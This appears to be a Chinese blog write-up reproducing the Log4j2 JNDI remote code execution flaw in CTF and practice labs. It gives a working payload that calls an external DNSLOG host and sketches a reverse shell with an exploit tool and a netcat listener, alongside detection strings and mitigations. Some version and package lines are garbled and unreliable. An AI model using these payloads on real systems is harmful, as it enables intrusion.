Apache log4j2-RCE 漏洞复现

0x01 漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

0x02 环境准备

验证靶场:

1.CTFshow (https://ctf.show/challenges#Log4j复现-1730)

2.VULFOCUS(http://vulfocus.fofa.so/#/dashboard)

3.掌控安全封神台(https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd)

0x03 漏洞验证(DNSLOG篇)

我们通过JNDI注入请求DNSLOG的恶意语句,如果在DNSLOG端能查看到访问记录,则证明远程代码执行漏洞存在

我们CTFshow的靶场来做后续验证

我们直接在登录框输入恶意代码:

${jndi:ldap://hackerj.c57f9cb5.dns.1433.eu.org/exp}

然后我们成功在DNSLOG端查看到访问记录,证实这里漏洞存在

0x04 漏洞验证(远程代码执行弹计算器&记事本篇)

在这里我们需要准备好一台有公网IP的VPS,然后在服务器端一个恶意代码类exploit.class(将恶意代码类通过javac编译得到)一个LDAP服务器log4j.jar(为运行方便,将LADPRefServer.java打包成jar包上传到服务器)

本地端需要准备好一个LDAP客户端(含log4j2执行代码)

首先我们在服务器端开启LDAP服务端口监听,我这里设置的是7912端口

开启LDAP服务

然后我们只需要在本地运行LDAP客户端(含log4j2错误调用的代码)

由于我们在恶意代码里执行的测试命令是notepad和calc

不出意外的弹出了记事本和计算器

0x05 漏洞深度利用(反弹shell)

在这里我们需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来生成payload

工具地址:
https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

然后使用如下网址来加密反弹shell命令

加密网址:
https://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell方法:
https://www.freebuf.com/articles/system/178150.html

我这里绑定的是服务器的9999端口(别忘了在服务器安全配置和宝塔安全配置开启端口)

然后我们就获得了payload

之后我们在服务器开启对于9999端口的监听

nc -lvnp 9999

然后我们在靶场框输入我们的恶意payload

点击提交之后我们发现反弹shell成功

0x06 影响范围及排查方法

影响范围:

使用了log4j的组件并且版本在3.x <= 2.14.1

排查方法:

1.pom版本检查
2.可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为
3.检查日志中是否存在相关的堆栈报错,堆栈里是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息
4.各种安全产品

自查工具:

https://sca.seczone.cn/allScanner.zip
https://static.threatbook.cn/tools/log4j-local-check.sh

需要注意的是并不是所有的使用了log4j2的项目|客户端都会受到影响:

0x07 修复建议

官方方案:

1、将Log4j框架升级到2.15.0版本:

org/apache/loging/logj/logj-core/5.0

不要用2.15.0-rc1和2.15.0-rc2

2、临时方案

1、升级JDK

2、修改log4j配置

    ①设置参数:

    log4j2.formatMsgNoLookups=True

    ②修改jvm参数:

    -Dlog4j2.formatMsgNoLookups=true

    ③系统环境变量:

    FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

    ④禁止log4j2所在的服务器外连

3、使用安全产品防护:WAF、RASP

0x08 涉及资源

https://www.icode9.com/content-4-1255614.html
https://github.com/welk1n/JNDI-Injection-Exploit
https://ylcao.top/2021/12/apache-log4j2-rce%E5%A4%8D%E7%8E%B0/
https://www.jackson-t.ca/runtime-exec-payloads.html
https://chowdera.com/2021/12/202112102325553772.html
https://github.com/bkfish/Apache-Log4j-Learning
https://www.freebuf.com/articles/system/178150.html
https://github.com/fengxuangit/log4j_vuln
http://vulfocus.fofa.so/#/dashboard

Apache log4j2-RCE 漏洞复现(CVE-2021-44228)的更多相关文章

  1. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  2. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  3. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  4. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  5. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  6. Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

    0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...

  7. Apache Tomcat Ajp-CVE-2020-1938漏洞复现

    环境搭建: sudo docker pull duonghuuphuc/tomcat-8.5.32 sudo docker run -d -it -p 8080:8080 -p 8009:8009  ...

  8. Solr 8.2.0最新RCE漏洞复现

    漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...

  9. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  10. CVE-2019-5475:Nexus2 yum插件RCE漏洞复现

    0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...

随机推荐

  1. dos的基本命令

    打开cmd的方式 开始+系统+命令提示符 Win键+R 输入cmd打开控制台(推荐使用) 在任意的文件夹下面,按住shift键+鼠标右键点击,在此处打开命令行窗口 资源管理器的地址栏前面加上cmd + ...

  2. logstash的filter之grok

    logstash的filter之grokLogstash中的filter可以支持对数据进行解析过滤. grok:支持120多种内置的表达式,有一些简单常用的内容就可以使用内置的表达式进行解析 http ...

  3. Arduino uno r3 使用 ESP8266 UART-WiFi 透传模块

    一.所需硬件材料 1.ESP8266:01s某宝上3.5块钱 2.杜邦线:某宝几块钱一组40P,这里只需要三根,用于连接 树莓派与继电器 3.烧录器 二.ESP8266 AT固件烧录 ESP8266主 ...

  4. [loj3342]制作菜品

    当$n-1\le m$,不妨令$d_{1}\le d_{2}\le...\le d_{n}$,则$(n-1)k\le mk=\sum_{i=1}^{n}d_{i}\le d_{1}+(n-1)d_{n ...

  5. vue局部过滤器和全局过滤器

    全局过滤器在main.js中写 //注册全局过滤器 Vue.filter('wholeMoneyFormat',(value)=>{   return '¥'+Number(value).toF ...

  6. jpa生成uuid

    使用jpa可以生成uuid,但是我直接添加数据没有id值会报错,只在程序中有效,如果直接修改数据库需要手动填写,另外长度不要乱填 ,之前填了200,找了半天才找到原因. package com.jav ...

  7. 程序员需要达到什么水平才能顺利拿到 20k 无压力?

        程序员要拿到20k,应该达到什么水平? 1 熟悉增删改查技能,熟悉项目开发相关流程和技能. 2 能解决基本问题,分布式或比较深的问题,太难的不会不要紧,但常规的应该有项目经验. 3 简历好看些 ...

  8. 基于Ubuntu 18.04.5 LTS 部署Ceph集群测试及Ceph RDB的使用。

    1.ceph简介 Ceph在一个统一的系统中独特地提供对象.块和文件存储 1.1 ceph官网架构图 1.2 架构解释   CEPH 对象存储 CEPH 块设备 CEPH 文件系统 RESTful 接 ...

  9. CF1592F2 Alice and Recoloring 2

    目前在看贪心/构造/DP 杂题选做,发现一道非常不错的结论题,具有启发意义. 先说明如下结论 结论一:如何怎么样都不会使用二和三操作 证明: 二三操作显然可以通过两次一操作达到,而其操作费用大于两次一 ...

  10. 感谢 git

    今天对程序大修了一下,顺便把所有算例测试了一遍,突然发现二维浅水方程有些算例出现了明显的错误. 这次突然出现的错误让我有点措手不及,因为一直没有修改过浅水方程求解器,所以这些算例很久没有测试过了.硬着 ...